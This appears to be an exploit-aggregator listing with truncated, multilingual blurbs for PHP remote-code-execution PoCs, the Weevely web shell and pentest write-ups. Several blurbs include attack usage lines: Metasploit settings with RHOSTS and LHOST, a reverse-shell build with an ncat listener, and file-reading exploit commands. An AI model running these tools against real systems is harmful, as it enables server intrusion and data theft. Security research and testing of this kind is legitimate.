CVE-2025-62429

CVE-2025-62429 PoC - clipbucket RCE updatelaunch.php의 PHP 코드 삽입을 통한 RCE 개념 증명 공개: 제가 GHSA-3h9c-7j8r-xc3v를 통해 처음 보고했습니다. ⚠️ 승인된 침투 테스트/연구 목적으로만 사용하세요. 취약점 정보...

weevely3

Weevely - Bewaffnete Web-Shell Description Weevely ist eine Web-Shell, die für Post-Exploitation-Zwecke entwickelt wurde und zur Laufzeit über das Netzwerk erweitert werden kann. Laden Sie den weevely-PHP-Agenten auf einen Ziel-Webserver hoch, um Remote-Shell-Zugriff darauf zu erhalten. Er verfüg...

exploit-CVE-2017-6090

Контейнеризированная уязвимая CVE-2017-6090 Этот проект создаёт контейнер с PhpCollab 2.5.1, содержащий уязвимость удалённого выполнения кода, описанную в CVE-2017-6090. Кроме того, прилагается файл docker-compose для запуска этого контейнера и mysql для демонстрации. Инструкции по эксплуатации —...

Polkit-CVE-2021-4034-HLP

Polkit-CVE-2021-4034-HLP Polkit-CVE-2021-4034-Ausnutzung in einer höheren Programmiersprache Build root@kitploit: make LHOST=ip.or.domain.tld LPORT=8000 Verwendung TCP-Port-Listener öffnen, Beispiel mit ncat auf Loopback root@kitploit: ncat -vl 127.0.0.1 8000 Exploit ausführen root@kitploit: php...

fuckshitup

Agenda FuckShitUp 0.1 - Scanner Multi-Vulnerabilità In pratica, FSU è un insieme di strumenti scritti in PHP-CLI. Utilizzando funzioni integrate, puoi recuperare URL tramite i motori di ricerca - e quindi, fare dorking per file interessanti e full path disclosure. Usando una lista di URL, lo...

CVE-2023-46818

Metasploit 模块 Metasploit 模块 root@kitploit: use exploit/linux/http/ispconfiglanguageedit set RHOSTS target.com set USERNAME admin set PASSWORD password123 set LHOST 127.0.0.1 set LPORT 4444 exploit 在 ISPConfig 3.2.11p1 之前版本中发现了一个问题。如果启用了 adminallowlangedit，管理员可以通过语言文件编辑器实现 PHP 代码注入。...

OpenEMR-RCE

OpenEMR RCE exploit / PoC OpenEMR --shell --user --password --debug exploit.rb semi-auto --root-url --user --password --payload --lhost --lport --debug exploit.rb auto --root-url --user --password --lhost --lport --debug exploit.rb -H | --help Options: -r , --root-url Root URL base path including...

CVE-2026-54806

WP Activity Log Iniezione di Oggetti PHP CVE-2026-54806 PoC 📜 Descrizione CVE-2026-54806 è una vulnerabilità critica CVSS 9.8 di iniezione di oggetti PHP non autenticata nel plugin WP Activity Log per WordPress wp-security-audit-log di Melapress. Un utente malintenzionato non autenticato può...

dompdf-rce

Exploit RCE per dompdf Questo repository contiene un'applicazione demo vulnerabile che utilizza dompdf 1.2.0 e un exploit che consente l'esecuzione remota di codice tramite un file poliglotta ttf+php. Per maggiori dettagli, visita https://positive.security/blog/dompdf-rce Istruzioni 1. Esegui...

CVE-2024-4577

lol CVE-2024-4577 1. comando exploit RCE valore root@kitploit: python3 cek.py --target http://target/index.php --ls --dir /path/to/directory python3 cek.py --target https://target/index.php --dir /path/to/directory python3 cek.py --target https://target/index.php --cat /path/to/directory trova...

textpattern-exploit-rce

Textpattern = 4.8.3 Remote Code Execution Authentifiziert Textpattern bis einschließlich Version 4.8.3 erlaubt authentifizierten Benutzern, beliebige PHP-Dateien hochzuladen. Dieses Skript automatisiert den Prozess und ermöglicht das Löschen der hochgeladenen Datei. Verwendung root@kitploit:...

CVE-2024-25641

CVE-2024-25641 root@kitploit: Exploit Title: Cacti 1.2.26 - RCE Authenticated Date: 06/01/2025 Exploit Author: D3Ext Vendor Homepage: https://cacti.net/ Software Link: https://github.com/Cacti/cacti/archive/refs/tags/release/1.2.26.zip Version: 1.2.26 Tested on: Kali Linux 2024 CVE: CVE-2024-2564...

CVE-2019-19369

CVE-2019-19369 - FusionPBX = 4.5.10 RCE Autenticado Atacantes autenticados podem usar a função PHP-Editor nas versões do FusionPBX = 4.5.10 para editar uma das páginas PHP existentes e inserir um payload PHP. Ao navegar para o arquivo alterado, conseguimos obter um shell como www-data. Descoberto...

CVE-2025-49132

CVE-2025-49132 - RCE non autenticata su Pterodactyl Panel root@kitploit: / |\ \ / /| | | / | | | | || | / | || / | | \ V / | || / / | |/ / | | | | , /| || \ / / | / || /| //||/ || // ||/ /| Exploit per Pterodactyl Panel ≤ 1.11.10 - da LFI non autenticata a RCE. La vulnerabilità L'endpoint...

CVE-2023-46474

PMB =7.5.3 - Esecuzione di codice remota tramite caricamento di file senza restrizioni CVE-2023-46474 Vettore CVSS v3.1| Punteggio CVSS v3.1 ---|--- AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H| 9.1 Scoperta nell'ambito di un test di penetrazione da Marcus Reynaud di Devensys Cybersecurity Descrizione Lo...

hashes

Hash magici – "collisioni" di hash PHP Registrati con password 1 e poi accedi con password 2. Se riesci ad accedere, l'archiviazione usa l'algoritmo specificato per calcolare l'hash della password e PHP usa == per confrontarle per MD5, SHA-1 e plaintext. MD5, SHA-1, SHA-224, SHA-256 e altri Per M...

HTB-Pterodactyl-Writeup

Отчет о тесте на проникновение — HackTheBox: Pterodactyl Дата: 8 апреля 2026 г. Цель: Pterodactyl HackTheBox Сложность: Средняя ОС: Linux openSUSE Leap 15.6 Тестер: V0idW1re Краткое описание Машина Pterodactyl на HackTheBox представила реалистичный сценарий атаки, включающий неправильно...

CVE-2024-25600-WordPress-Bricks-Builder-RCE-PoC

CVE-2024-25600 — WordPress Bricks Builder RCE PoC Nicht authentifizierte Remote-Code-Ausführung-Sicherheitslücke in WordPress Bricks Builder id uid=33www-data gid=33www-data groups=33www-data...

CVE-2018-16763-Fuel-CMS-1.4.1-Remote-Code-Execution-PoC

CVE-2018-16763 — Fuel CMS 1.4.1 Remote Code Execution PoC Vulnerabilità RCE non autenticata in Fuel CMS 1.4.1. Il parametro filter nell'endpoint /fuel/pages/select/ viene passato senza sanitizzazione a una chiamata eval nel backend PHP, consentendo l'esecuzione arbitraria di codice tramite un...

PHP_8.1.x_Exploit

🚀 PHP CVE Autopilot Rilevamento e sfruttamento automatici di vulnerabilità critiche di PHP CVE-2024-4577 bypass, CVE-2025-14177, CVE-2025-14180, CVE-2025-14178 PHP8.1.xExploit.sh è uno strumento di valutazione della sicurezza a file singolo, zero configurazione che rileva automaticamente endpoint...